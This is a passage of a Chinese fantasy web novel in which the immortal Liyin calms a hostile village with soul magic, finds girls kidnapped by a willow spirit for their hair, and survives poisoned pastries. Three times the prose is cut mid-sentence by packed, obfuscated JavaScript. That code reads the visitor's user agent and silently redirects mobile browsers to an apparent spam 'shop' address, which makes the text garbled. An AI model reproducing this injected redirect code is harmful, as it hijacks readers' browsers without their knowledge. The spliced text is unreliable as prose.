这时人群中忽有村民长叹:“你们夫妇二人也是心大,村里发生过了那样的事,你们怎的还允许她一个小姑娘出门。”语气略带责怪,引来不少低声附和。 虞夫人本就自悔对女儿看顾不力,此刻突遭指责,心中愈发愧疚,不禁眼眶泛起微红。 程经武正要发作,身后已有一村民不赞同道:“总不能叫村里的小姑娘从此都不出门,这日子过成什么样了。分明是那贼人作恶,又怪什么父母,这里好些人家的女儿不过躺在家中睡觉,不也照样被拐走了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283128|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 唰唰唰,立时有几十道视线齐向璃音射来,璃音自知他们心里还在把她当贼人,只淡淡一笑,提醒道:“不过,你们怎么确定自己的女儿是被人拐走的呢?” 她的重音落在“人”这个字上,意味十分明显。这么多大活人凭空消失,她们被谁带走了,又去了哪里?可能的答案绝不止“被人贩子拐走了”这一种,但为人父母,这却是他们唯一愿意相信的,至少在这个答案里,他们的女儿还会在某处活着,还有回来的可能。 众人立时陷入一阵死寂,一个妇人死盯住璃音后背,忽地停下步子,放开嗓门,在人群里发出一声高喊:“妖怪!她是妖怪!是这个妖怪把我们的女儿吃了!” 璃音一愣,这位改答案的速度倒快,但重新交出来的卷子却叫她哭笑不得,她扭头看去:怎的又是你!却正是先前那个扑在她身上捶打不休的黑面妇人。 这一声大喊有如往人群中扔下一颗炸弹,先前不愿去想的种种可能,现在都一一浮上心头,再加上之前众人亲眼见识了璃音冷眼视人,又掌劈坐椅,操纵柳条,正是心肠狠硬、又妖术精绝的大妖怪,女儿落在她手里,哪里还有活路? 一下子悲嚎四起,有几个村民已是伏地大哭,群情又再激愤。那黑面妇人大叫一声,朝璃音猛扑过去,哭喊着捶打起来。 又来? 璃音放软身子,想起商止师兄在她初下昆仑履职之时,曾有过一番笑意吟吟的叮嘱。 “阿横,你到人间,与那些凡人打照面之时,第一件事,该做什么?” “自然是宣读王母神旨了。” “错了。”师兄作势打她手心,笑道,“你记住,在凡人面前现出仙身之后,第一件事,要自显仙轮。” 凡入仙籍者,脑后自能亮起一大团夺目光晕,称作仙轮,除了闪瞎别人的眼,暂时没发掘出其他作用。所以为了守护彼此珍贵的眼珠子,平日里各方仙境神域中,都不曾有哪位仙子神君把这团东西亮起来过。 见凡人,显仙轮。当时她暗笑这出场规矩颇有些做作,也不知是哪位惯爱高调的神君定下的,用嘴巴自报家门还不是一样?此时璃音受着村民打骂,方才得悟其中真意,果然每一条看似奇怪的规矩背后,都自有它的道理。 到了人间,是妖是仙,便都只在众人眼中、心中、口中。 忽地腿上柳条一紧,她立时敏锐抬眼,视线透过人群,穿过小门,落去了隔岸站着的一位公子身上。 那位公子全身穿一件月白缎袄,手里牵着一个无毛小孩,正是早先被她的硬脖子“打”折了手,哭着跑去找“公子”的光头小子。 想必就是那位名伶沈公子了。 可等她再想细看时,两人却又都不见了。 璃音能够感觉到,方才她看向那位公子的时候,公子也正静静看着她。 此人会使咒法符文,身边又有精怪作陪,绝非等闲,或许与那小柳精一样,并非是人,而且一定知道些什么。 耳边村民仍在吵嚷,有谁喊道:“鸡血拿来了!火把!谁去点来火把!把这妖女捆起来烧了!” 听到这一声喊,璃音猛地收回目光,就见程经武手中端了一盆鸡血,正要往她头上泼,远处还有三四个男人,全都一手举着火把,一手拿着捆绳,往这里跑着。 璃音自从西王母手上得赐玉横,塑了仙身,就在昆仑山上做起了逍遥快活小神仙,一贯是天不怕地不怕的,唯独一样,是她在做凡人时候落下的病根,便是怕火怕热。 “烧了她!烧了她!” 嚓—— 璃音分明感觉到,之前体内那根一直划不燃的火柴,此刻被擦出了熊熊火光。 她一双目似寒冰,在一片激昂的叫喊声中,低低说了一句“抱歉”。 随即右手贴于额前,合上双目,两指翻缠,迅速结出一个兰花印,再睁眼时,眼底已是赤红一片,就在鸡血要脱离盆面、向她泼来那一瞬,她大喝一声:“灵渊止水,神魄归息,禁!” 霎时间,风吹草动声止,群鸟啼鸣骤歇,程经武眸光倏地凝滞,眼底红光一闪而过,双臂便好似一下脱力,软塌塌垂落下来,装了鸡血的大盆脱手,砰的一声,摔落在地,腥臭的血溅了他半身,他却仿佛无知无觉,眼珠都不曾转动一点,只被人抽走了魂魄一般,乖乖站着。空中挥舞的拳脚也都安静下来,几十个村民俱皆如程经武一般模样,目色空洞,木然呆立,宛若失魂人偶。 小院里一方天地重归寂静,再无一点活物声响。 璃音指尖微动,额前兰花印闪起青光:“一刻钟后,柳树林汇合,听懂的点头。” 村民额尖俱是青光一闪,在一片静默中,齐刷刷点起头来。 4. 第3章 沈公子 璃音确认所有人都点过头后,从额前撤下手印,提步走开。 若少女失踪之事果然涉及异人精怪,那这些普通村民便帮不上什么忙了。 她走出两步,忽地停住,沉默片刻,又转身回来,咬破手指,凌空画下另一个极为繁复的大阵。 三百年前,或者该说一年后,她因魂术使用过度,又遭玉横反噬,迷了心智,狂性大发,随手就将此处村民杀了个精光。所以这次,这次她一定要…… “七星挂序,四时掠影,溯漪追涟,震烁还音!” 璃音念动咒文,身前符阵登时活过来了一般,血红笔画好似血管勾连,其间猩红符文流转,如有血液狂奔。 璃音接着大喝一声:“封!” 翻掌将阵法拍入地下。 符阵一下地,红光立时止歇,转为蓝白色冷光微微闪动,只闪了几息,又倏然黯下,整个阵法便就这么遁入地底,隐于无形,在看不见的地方默默转动起来。 被关月牢三百年,她整日里除了和一株大桂树大眼瞪小眼,就是钻研些残破失传的古阵法打发时间,她这里胡篡几笔,那里乱涂几下,倒还真叫她捣鼓出来一个上古复原大阵,这阵法她从未有机会实践过,自然也不知其威力几许、效果如何,但当初既能被收录进昆仑古籍秘法之中,想来不会太差。 做完这些,璃音轻舒一口气:“希望永远不会有用上你的时候。”便就迈开大步,只身一人往对岸柳树林去了。 * 此时立春将至,大寒渐远,正是人间乍暖还寒时候,草木仍在沉睡,尚无枝叶抽芽,整片柳树林光秃秃的,倒也别有一番肃杀景致。 璃音在林子里略走了几步,便即停下,抬起脚,猛地往地上一跺,问道:“你家公子是在哪里发现我的?” 腿上柳条立时打了一个哆嗦,便拖着璃音步子向前一扯,扯着她一步步来到一株柳树跟前,才出声道:“就是在这棵树下面,你躺在这里,也不知是晕着还是睡着,腰间系着那根彩棠锦发带。” 璃音绕着那树仔细瞧了一圈,终于在仰头处发现一抹秃枝断面,高度不似十来岁小姑娘能碰到的,若是身形高大的人贩子将孩子迷晕,抱着或背在身上带走,匆忙间碰折了此处,倒是有可能的。 不过她无需猜测,灵力既已回来,要弄清此事便再简单不过。 她左手伸出,掌中和眼底同时闪起青光,就在她抚上树干,要开口念动咒文时,忽听身后一个男人朗声道:“被人从冬眠里强行叫醒的滋味可不好受,姑娘的读魂术还是放过它吧。” 嗓音悦耳清脆,不愧是唱戏的名伶,璃音收手回头,果然看见身后站着一位白衣公子和一个光头小子。那公子俊眉秀目,生了一副好皮囊,又清润文雅,配了一身好气质,他一头乌发油亮,在旁边那颗光头亮闪闪的衬托下,显得格外惹眼。 “沈公子。”她笑道:“终于肯露面了呀。” “青州沈言。”男人清凌凌一笑,先自报了家门。 原来是个本乡人。 男人接着伸手一挥,璃音腿上柳条一松,啪的一声,便落去了地上,一阵绿光闪动间,光秃秃的柳条便就摇身一变,原地化作了一个俏生生的光头小姑娘。小姑娘恢复了人身,一脸惊喜,大喊一声“公子”,就奔足往男人怀里扑了过去。 男人笑着将她搂过,又伸出一根手指,把光头小子和光头女娃分别一指,介绍道:“这是大毛、二毛。” 两个无毛光头叫这种名字真的合适吗?璃音正暗自觉得有趣,就听沈公子问道:“却不知姑娘是何方仙长,使的一手魂术好生霸道。” 男娃大毛挥舞着接好骨头的左手,立马接口叫道:“肯定是对面山上过来的石头精,姐姐的脖子,比石头还硬!” 女娃二毛大不赞同,从公子怀里探出头来反驳:“姐姐的身子明明又香又软,我刚抱过的,怎会是山上那些臭石头。” 要说她是山上石头变的……倒也不能算错,不过却是昆仑仙山上的白玉石头。 璃音其实无意隐瞒身份,在庆宁二十三年的今时今刻,她大可以就说自己是昆仑西王母座下灵巫,但想自己前世恶行累累,曾害昆仑丢尽脸面,便有些说不出口,只道:“我姓夏,自己平日里胡乱学些术法防身罢了。” 她淡淡回过这一句,便就岔开话题,指着两个小光头问道:“他们俩怎么是秃的?” “夏姑娘早已看出他们真身了吧。”沈言放眼向光秃秃的树林望去,“他们长到冬天,自然就秃了。” “天地有序,四时难违。”璃音点头,抬眼盯上沈言一头如瀑长发。 沈言察觉到她的眼神,笑道:“姑娘在看什么?” 他笑时好似正有春风拂人面,璃音不禁欺身上前:“公子头上倒是茂盛。”便抬起手来,作势要去抚摸他披泄在肩头的长发。 沈言疾退一步躲开,面上却依然春风不改:“青丝情丝,姑娘这一摸,恐叫我心上人得知了惹来不悦,还是避嫌的好。” “公子倒是个讲究人。” 璃音微微一笑,抬起的左手放下,忽地换作右手成爪急出,冷声道:“只不知那些被你剥了头发的女孩儿,还有没有机会再见心上人了。” 说着一个闪身向前,便抓向沈公子头顶。 沈言面色陡变,脸上春风般笑意散尽。 璃音这一抓出手突然,他已知躲闪不及,忙将双臂一抖,两个小光头立时化作两根鞭条,只听唰唰唰一阵风响,一根柳鞭便已呼啸着向璃音右手缠去。 璃音手上去势不减,眼见要被柳鞭缠上,忽地指尖绿光闪动,中指内扣,虎爪式顷刻变作兰花指,那柳鞭在空中猛地一顿,便竟似听到了笙乐的舞姬一般,浑然忘我,沉醉地绕着璃音的手指蹁跹舞动起来。 “二毛真乖。”璃音反手握住柳鞭,向前一抖再一卷,立时便用鞭子替沈公子扎出了一个马尾,“沈公子,你却不乖。” 沈言眼底怒火大盛,将手中另一根柳鞭运劲甩出,直劈向璃音面门。 璃音不躲不闪,竟就仰面抬头,硬生生用脸接了他这一鞭,啪的一声,重鞭落处,竟连一道红痕也没能在她颊上留下。 唯有金能克土破玉,他这一鞭子对她的威慑力,还不及大毛那把大剪刀。 璃音在沈公子惊异的眼神中,嘻的一声笑道:"你没听见大毛说,我是山上石头变的,硬得狠吗?" 然后右手重重一扯,便将沈公子一头如墨青丝卷了过来。 “还我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283129|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈言大吼一声,顶着亮闪闪的一颗光头,向璃音猛扑过来。 璃音抛出二毛柳鞭,将他捆去旁边一棵柳树上,摸着手里那顶假发,笑道:“你气什么?男人的青丝不许摸,可这是女孩儿的青丝,我总摸得吧。” 正说话间,远处忽传来脚步声响,正夹杂着人声向这里靠近,想是一刻钟到了,染坊小院中的村民正往柳树林来聚集。 “还、给、我!”耳听得那声响越走越近,沈言焦急低声咆哮,一双眼睛充血怒瞪着璃音,似要喷出火来。 “你说出那些姑娘们的下落,我便将它还你。”璃音不紧不慢用手指梳着假发,发出啧啧轻叹,“要不然被人看见了,呀呀呀,名动青州的一代名伶竟是个秃顶。” 这时听得不近不远处有一个女声喊道:“她在那里!” 璃音打眼一望,就与几个眼尖的村民遥遥打上了照面,走在最前面的,正是虞夫人和他那便宜丈夫。 沈言背向来人绑着,又有大树遮挡,人群一时还瞧他不见。 璃音便将手中假发拿去他眼前一晃,说道:“沈公子,留给你的时间不多了。” “对面山中,有一柳庄,你可以带他们去那里找找。” 沈言神色冷得可赛寒冰,他咬牙切齿丢下这一句,便就整个身子向后一缩,带着两根柳鞭化作身后树干上三根秃枝,隐入了万千柳条里。 “姑娘,可找到什么线索了?”迎面一个女声响起,正是虞夫人到了。 璃音开门见山就问:“对面山中,可有一个柳庄?” “有的有的!那不就是沈公子故居吗?”人群中立时有人抢着回答。 虞夫人点头:“不错,只是他离乡多年,那处庄子无人打理,早已荒废得不成样了,这次回来,也只是住在我家染坊的小院里。” 那黑面妇人却盯着璃音手中假发,奇道:“你手里拿的什么?” 众人这才齐齐向璃音手中看去。 璃音将那顶头发收入乾坤袋中:“戏班子里用的假发套罢了,想是沈公子落下的。”说着向那三根柳条瞥去一眼,果然见其中有一根微微摆动起来。 * 有了线索,众人便一刻不停地赶去了柳庄。 山中荒凉,又逢晚冬,入眼处全是硬石枯草。 这柳庄更是荒凉中还有荒凉处,大门残破,屋顶斜塌,砖瓦长草,蛛网漫天。 众人捂嘴忍着被灰尘呛出来的咳嗽,把庄里各处风风火火翻了个遍,却皆无所获。 璃音在庄里转了转,眼前除了飞灰就是蛛网,也没能瞧出什么来。 这时她体内的灵力却又使不出来了。若引魂铃在此,又何须这般麻烦!璃音想到此处,不禁一怔,她去腰间前前后后摸了一圈,确实什么也没摸到。 在这个时间点上,西王母已将引魂铃中的一对青铜母铃铛赐给她了才对,此时却为何没在身上? “儿啊,我那苦命的儿啊!” 耳边一声哭嚎将璃音思绪打断,她转头看处,却是那黑面妇人一屁股坐去地上,捶地放声大哭起来。她哭声之洪亮,直把院子里还勉强撑着的半边屋顶也要震塌。 那妇人正自哭嚎间,忽听得屁股底下一个微弱的声音传来:“娘?” 5. 第4章 危险的酥饼 黑面妇人听见这声音,一时竟伏在地上愣住了。 璃音走上前去,拍拍她肩膀,提醒道:“刚刚有人叫你娘。” 那妇人终于回神,惊叫一声,跳起身来,向四下里一阵张望,却哪里有她女儿的身影? “她好像是在这里。”璃音指指方才她屁股坐过的那块石板砖。 话音未落,就听喀的一声,那砖头竟向边上移了开去,又接连喀喀几声,周围两块石板移位,地下现出一个盆口大小的深洞。 只见那洞里先是探出来一双小手,一边一只,扒住洞口两边,接着往地上用力一撑,便从洞中缓缓升起了一颗脑袋。 那脑袋上裹一块浅绿色头巾,再往上升,便现出了一张肤色黝黑却水嫩的小脸,是个十三岁左右模样的小女孩。 “囡囡!是我的乖囡囡!”那黑面妇人又惊又喜地叫喊起来,忙扑了上去,将女儿接来地上。 众人听见这边动静,纷纷都奔来这间院落,看到那黑面妇人与她女儿抱在一起,一窝蜂围了上前,七嘴八张地发起问来。 “李三娘,就只找到囡囡一个吗?” “囡囡,有见着你荟儿妹妹么?你们没在一处么?” “三娘,可瞧见我家小六了?” 三娘女儿见到这许多村里熟识的叔叔婶婶,如何能不知他们来意?便指着地下那洞口道:“大家都在地窖里呢,只是她们手上力气没我大,不好出来。” 众人听说,均是大喜,立马七手八脚地动作起来,一时间找梯子的找梯子,搓绳的搓绳,移砖的移砖,捞人的捞人。 李三娘扳过女儿的身子,将她前前后后察看一遭,见她一身好胳膊好腿,并没添了什么伤,才终于放下心来。 她心中怜爱翻涌,手上不自禁去抚摸女儿的头,这一摸之下,竟觉手感大为怪异,便将头巾唰的往下一扯,只听小姑娘发出“啊”的一声轻呼,就在头巾下露出一颗毛茸茸的寸头来。 李三娘呆呆望着女儿一头青丝变板寸,失声惊叫道:“囡囡,你的头发……你的头发去哪儿了?!” “在这儿呢。”璃音见小姑娘一脸窘迫,便从乾坤袋里掏出那顶假发,往小姑娘寸头上一戴。 李三娘眼神更呆了,不住口地念着:“头发……头发去哪儿了……头发……” “娘,小声点!”小姑娘慌手忙脚地将假发调整戴好,赶紧一扯母亲衣袖,眼中已蓄起水光,“我就知道,我以后是没法见人的了。” “我倒觉得那发式挺衬你的。”璃音盯着她看了一会儿,突然开口道。 这是她的真心话,三娘女儿肤色黝黑,骨架高大,此时戴着长长的假发,不觉是个美娇娘,但方才那寸头却衬得她英气勃发,格外精神。 小姑娘闻言微微愣住,接着双颊染上一抹飞红,向璃音道:“真……真的吗?我娘总说我又黑又丑,梳什么头发都不好看,以后指定嫁不出去的。” “这孩子,净瞎说,我什么时候说你丑了!”李三娘此刻已回过神来,抬手就要请女儿的脑门吃一颗毛栗子。 小姑娘熟门熟路地躲过,又扑进母亲怀里撒娇:“娘,要真嫁不出去才好呢,咱们就学虞婶婶家,到时候也给我招一个勤快点的夫婿,我俩就在咱家铺子里,跟你做一辈子酥饼。” 这边母女正温情打闹间,地窖里已有七八个少女被陆续接出,她们个个头上裹着头巾,和父母拥在一处,脸上神色又是欢喜,又带忧愁。 这时程经武不知从哪儿翻找出一个梯子,正大踏步扛着从璃音身边走过,三娘女儿见了他,说道:“怎么程叔叔来了?”再见着旁边一脸焦急,不住向洞内张望的虞夫人,又说道:“怎么虞婶婶也来了?” 李三娘的手终于还是拍上了女儿脑门:“你这问的什么话,他们当然是来找染棠的。” “可是,”小姑娘委屈地摸摸额头,“染棠姐姐没在这里啊。” * 当晚,虞家庄上,虞夫人房内。 “她是连日悲痛过度,少吃少眠,身子有些吃不消,醒来后多给她喂些养心补气的汤药。” 程经武接过郎中给的方子,又包了三两银子递过:“多谢大夫。”深深望一眼昏迷不醒的妻子,便送着老郎中出了房间。 门外璃音见他们出来,上前问道:“如何了?” “没什么别的大碍,就是一时伤心过度,唉。” 程经武说着叹了口气,忽又目露凶光,恨恨地道:“早晚有一天,我要剐了那个姓沈的。” 一起找去柳庄的十几户村民,除了虞夫人家,个个欢喜,家家团圆,却唯独不见虞染棠。虞夫人当场就晕了过去,程经武将妻子背回家,嚷嚷了一路要打杀那个姓沈的,料定是沈言看他家气派,要另敲一笔,将女儿藏去了别处。 璃音倒不这么觉得。 沈言确实掳掠少女、强剪发辫,委实可恶,但要说谋财害命之心,他却是没有的。据三娘的女儿说,他给女孩们剃完头,就每日好吃好喝供养在地窖,说等她们头发再长至齐肩,便送她们回家。 但璃音没有多说什么,只是问道:“我能进去看看你夫人么?” “姑娘请便吧,唉。”程经武说着又叹一口气,转身去送郎中出庄门了。 璃音进屋,先给虞夫人把了脉。 心肺郁结,脏腑精气紊乱,确是忧急悲痛所致。又去看了桌上的方子,都是山药、莲子一类对症的食补药材。 她飞升前尚是凡人之时,外公统领太医蜀,父亲官拜太史令,她自幼耳濡目染,又爱钻研天文医典,便把两人察脉卜祝的本事都尽数学了去。 查完脉出门,正遇上程经武送了郎中回来,他手中提着一袋酥饼,递给璃音道:“这是刚才三娘女儿送来的,说是要给夏姑娘。” “好香!”璃音接过热乎乎的纸袋子,只觉一阵饼香扑鼻,她好久没吃到这些民间小食了,不禁肚中馋虫勾起,忍不住取出一块,啃了一口。 看着璃音迫不及待吃饼的样子,程经武忽地眼前一阵恍惚,怔然落泪道:“染棠也最馋三娘家的酥饼,前天晚上吃过了饭,还非要缠着我陪她去夜市上买。” 猛汉突然落泪,倒把璃音吓了一跳。 前天,那不就是虞染棠失踪前的那个晚上? 只听程经武兀自喃喃道:“她胃口又小,吃多了没走几步就开始犯困,撒娇说走不动,要我抱,我只好一路抱着她回家,她就……她就那样靠在我肩头睡着了,我没有叫醒她,就让她去睡了,然后……然后……我就再没能见到她醒来的样子了。” 璃音记得,第二日因排定起缸,他们夫妻俩忙碌间,就没去喊女儿起床。 晚冬夜里,璃音站在院中,听着耳边冷风呼啸,忽然问道:“你们为什么会定在昨日起缸呢?这么冷的天气,也不好发酵吧。” “昨天是染神娘娘生日,御供这么大的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283130|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总想讨个好彩头。” “染神娘娘?” 璃音连忙将天上各路神仙名册,都在脑中过了一遍,想会是织女宫里哪位仙子。 程经武却没有回应,好似说完前面那番话,就已耗完了他全身力气,他失魂落魄地摆手道:“夏姑娘,你去客房休息吧,我就不送你过去了。” 然后就摇摇晃晃地往虞夫人房中去了。 不会又要晕过去一个吧? 璃音抬头望出天井,观天上星象,捏指给他算了一卦,凶。 她摇头叹息,忽见连廊中有个鬼鬼祟祟的小身影,正蹑着步子,要往虞夫人房间靠近,她悄步绕去那人背后,一把抓住他背心,低声道:“你又来做什么,你家公子呢?” 大毛对先前的断手之痛尚心有余悸,回头一见着璃音,便放弃了挣扎,说道:“公子听说虞夫人晕倒了,让我来看看。” “虞染棠这事,真不是你们干的?”璃音捏住他小脸审问。 “若是我们干的,公子还费劲把你带回来做什么,平白给自己惹个大麻烦。”大毛嘴巴撅起,伸手去怀里摸出一个青绿色小瓷瓶,“公子听说虞夫人晕倒,还特地叫我送来这瓶排毒养心丸,这可是用千年蛇胆炼制的,珍贵着呢。” 璃音忽然记起一事,捏他小脸的手又紧了紧:“那今早我在你公子房里醒来的时候,你拿了把大剪刀,难道不是要杀我?” 大毛小脸一鼓,满眼委屈:“我那只是近来手痒,想给你修个刘海!” 璃音:“……?” 璃音松手放过大毛小脸,将信将疑接过瓷瓶,打开凑去鼻尖一闻,确是稀世珍药。 这沈公子种种行径,倒似是真心关怀虞夫人一家的。 忽然大毛鼻翼煽动,似在寻着什么气味,他拱起鼻尖往空中乱嗅,一路嗅去璃音手里的纸袋子上,忽地眼睛一亮,低低发出一声欢呼,就伸手去里面夹出一块酥饼,大口啃了起来。 璃音:“……” “官府已经下了海捕文书,去捉拿你家公子了。” 大毛嘴上啃出一圈饼渣,嘿嘿一笑:“公子已经躲起来啦,就凭他们,捉不到的。” 说着,忽然笑容变色,小脸痛苦地皱作一团,只听他闷哼一声,手中酥饼落地,随即捂住肚子,弯下腰去,口中竟吐起了白沫。 不过眨眼,大毛的三魂七魄就已排队等着要出窍,璃音立刻从瓷瓶里倒出一颗药丸,塞进他嘴里,接着右手结出一个兰花印,点住他灵台,将神魂稳在了他体内。 只是这丸药虽珍贵,却是调养用的,不是应急用的。 "你现在感觉怎么样?" “饼里……饼里有毒。”大毛虽被稳住了魂魄,□□却仍遭受着剧痛,他气息微弱,断断续续地说道,“是……是除草粉。” “姐姐,快……快把我插进土里……”说完就再维持不住人身,变回了一根柳枝。 璃音忙奔去找了一块泥地,她一面将柳枝插去土里,一面寻思着:会是谁在给她的饼里下了毒呢?是做饼的李三娘母女,还是拿饼给她的程经武? 若非她这石头身子药毒不侵,现在已经翻着肚皮死透了。 她回想程经武看自己吃饼时的神色,越想越觉有异,终究放心不下,跑去敲响了虞夫人的房门。 敲了半晌,却无人应答。 璃音推门进去,只见房中空空如也,夫妻二人均已不见了去向。 6. 第5章 染神讨祭? 是夜,几点星光璀璨,一轮圆月高悬,宜团聚,忌作妖。 虞家庄中,一只刺猬球身子一抖,伸开四肢,狐疑着绕过一根陌生小柳枝,晃悠悠爬出杂草堆,开始了它今日的觅食活动。 它今年过早地从冬眠中醒了过来,此时饥肠辘辘,头晕眼花,行至连廊,却不想天上真会掉馅饼,还正掉在了自己眼前。那大饼周边蚁群聚集,小刺猬见了登时双眼放光,口角流涎,正要出动,却忽听得一阵飞快的脚步声响,就见连廊那头转出一个青衣少女,直奔那大饼而去。 小刺猬怕被抢先,一声低叫,忙发足狂奔,却到底腿短,哪里跑得过那长腿两脚兽,只得眼睁睁看着少女掏出一块大抹布,向那地上一裹,连饼带蚁全给裹走了。 小刺猬心碎一地,不禁低低呜咽出声,忽听见那少女在廊下自言自语道:“除草粉里面还拌了硫磺么?还真是怕我死不透。” 少女的嗓音冷冷的,但终究冷不过“硫磺”这两个字,阿妈就是误食了含有硫磺的小虫死掉的,小刺猬想到这里,不由得打了个冷颤。 忽然院中银光一闪,小刺猬揉揉眼睛,便见那青衣少女的面前,竟又多出了个一模一样的青衣少女。 它又揉揉眼睛,瞧了半晌,终于确认:这两只两脚兽,竟真是从穿着到长相,全都一模一样! 只见那两个少女也是各自一呆,那先来的少女率先开口道:“你又是从哪里冒出来的?” “我乃昆仑山西王母座下灵巫。”那后来的少女脑后忽地升起一圈祥光,好似蓦地里往院中扔下一个大太阳,亮得惊天动地,“我追寻玉横到此,它可是在你身上?” 小刺猬被那强光激出泪来,未曾想那后到的少女竟是仙子临凡,它再揉眼瞧去,便见那先来的少女单手捂眼:“知道了知道了,你这时候可真够招摇的,快把仙轮收起来吧。” 仙子收起祥光,又低声念了句什么,就见那少女怀中青光闪动,唰的一声,飞出一个小巧精致的白玉葫芦来。 “你是什么人,何以盗走我的法宝?”那仙子接过葫芦问道。 “原来从旁人眼中看去,我长这样么……” 那少女先自喃喃了一句,才道:“我可没有去拿这葫芦,是它自己找来的。” 那仙子显然不信:“玉横认主,怎会去找你来?你又做什么扮作我的样子?” 那少女默然片刻,倏地笑了:“因为……我就是你啊。” 说罢也低声念了句什么,就见那仙子手中那只白玉葫芦,并着腰间一对青铜铃铛同时亮起,青光闪动间,已巴巴地飞去那少女跟前。 那仙子脸色微变,双手迅疾结印出招,口中念动咒文,要去抢夺那葫芦和铃铛。 少女不慌不忙与她结出同一个印来,口中也将咒文念动。 只见那葫芦左顾右盼,铃铛左摇右摆,竟像是左边听见爹叫、右面听见娘喊的小娃儿,一时不知该去哪边才好。 “夏侯璃音。”正抢夺间,那少女忽然出声喊了一个名字。 那仙子一怔:“你怎知我凡尘俗姓。” 那少女收了印,笑道:“你何不用读魂术探一探我的识海。” 那仙子迟疑片刻,终于还是伸出一只手来,在少女坦然的眼神中,指作兰花,叩上了对方前额。只见她指尖点点青光浮动缠绕,好似夏夜萤火蹁跹,想起萤火虫入口时的美妙滋味,小刺猬不禁咽了咽口水。 过不多时,那仙子忽然脸色发白,好似看到了什么极为可怖的东西,猛地后退一步,不可置信地摇头颤声道:“三百年后……你……不……我……我……怎会……” 话犹未了,就见那白玉葫芦忽地往半空一跃,绕去那仙子身后,往她背上重重一推,只听“哎”的一声,那仙子便就如同水滴入海般撞去了少女体内,就此消失不见。 那铃铛此时终于不再烦恼,欢欢喜喜跑去主人腰间,将自己系上了。 “你又捣乱。”那少女一把抓过葫芦。 接着她便像是自言自语,又像是在对着某个看不见的人说道:“我在此间还有一桩事情未了,待办完这件事,我便与你一起去拜访摇光星君,借他的破军神剑一用。” 俄顷,又道:“难道你竟怕死?” 又过片刻,倏尔冷笑道:“解神巫之困,化昆仑大劫,我配吗?你配吗?” 顿了顿,提高声音道:“便是你想做,半路上随时会被这葫芦反噬成魔,到时你打算怎么办?再让商月替你收拾烂摊子,去月牢里躲上三百年么?” 那葫芦闻言身子一晃,似是颇为不忿,负气般飞离少女掌心,在她头上悬了一阵,然后哐的一声,就坐去了少女头顶,大概是觉得这样就算压了主人一头,心满意足,不再动了。 “夏姑娘!夏姑娘在吗?” 小刺猬正偷看得起劲,忽然院子里风风火火冲进来一个黑面妇人,拉住少女的手就往外跑,口里大声叫喊道:“夏姑娘,你快跟我过去看看!染坊!染坊里面出事了!” * 璃音跟着李三娘赶到染坊时,已有不少村民举着火把,将院中一个状若疯癫的男子团团围住。 那男子高高壮壮,长身黑面,正是不见了的程经武。 他此刻披头散发,眼珠上翻,手足乱舞,忽而在口中喃喃念着:“染神娘娘,赐我巧匠,手巧心灵,织锦霞光。” 忽而又惊惶四顾,冲进人堆,抓着人就喊:“染神娘娘杀人了,染神娘娘杀人啦!” 在来的路上,璃音就已听李三娘说了这边情况。 原来今夜账房先生正要入睡时,忽地心中一阵忐忑,不确定自己走时有没有给账室锁门,想着染坊离家不远,干脆披衣起床,赶了来确认。 因想着要快去快回,他便抄了近路,直通后门,谁知一进去,就见着东家丈夫一个人站在黑黢黢的院子里,两眼发直,叫也不应,没过一会儿,就发起癫症来。 账房先生吓得转身就跑,回到家后,是无论如何也睡不着了,便又召集了许多村民,都赶来染坊查看。 璃音听着程经武翻来覆去的那两句念词,偏头问道:“他说的染神娘娘究竟是谁?” “染神娘娘就是染神娘娘啊……”李三娘被问得不明所以。 “啊!”旁边三娘的女儿一拍手,“账室里有画像的,姐姐你等等,我这就去喊先生给你取来。” 待得画像到手,璃音展开一看,却是一怔,这位仙子,她曾经见过的。 画像中的仙子蛾眉螓首,雾鬓云鬟,身上穿一件流光溢彩的云锦霓裳,右手握一把苏木靛草,正放在鼻尖轻嗅,身旁一个织布梭飞扬,穿行在五彩云霞之间。 这装扮、这眉眼、这云鬟……这位染神娘娘,竟就是那日提剑赶去月牢,赐她三剑穿心,将她处决了的正义仙子。 璃音接着再看,又看见画像上题了一行小字:“最是天上锦云仙,染尽人间色,一梭绣芳华。” 原来是织女宫里的锦云仙子。 璃音记过天上各宫神仙名册,只是在月牢时,这位仙子并未与她通名,直到此时,才终于对上了脸。 “别只顾着发愣了,那边那个疯了的,再不帮他醒一醒,恐怕活不久了。” 灵台里蓦然响起一个声音,璃音闻言,也在灵台内回道:“我在凡人面前用不了灵力。” “怎会?” 那个声音刚问出口,就又“哦”的一声了然道:“是心里有坎,不敢用是么?” 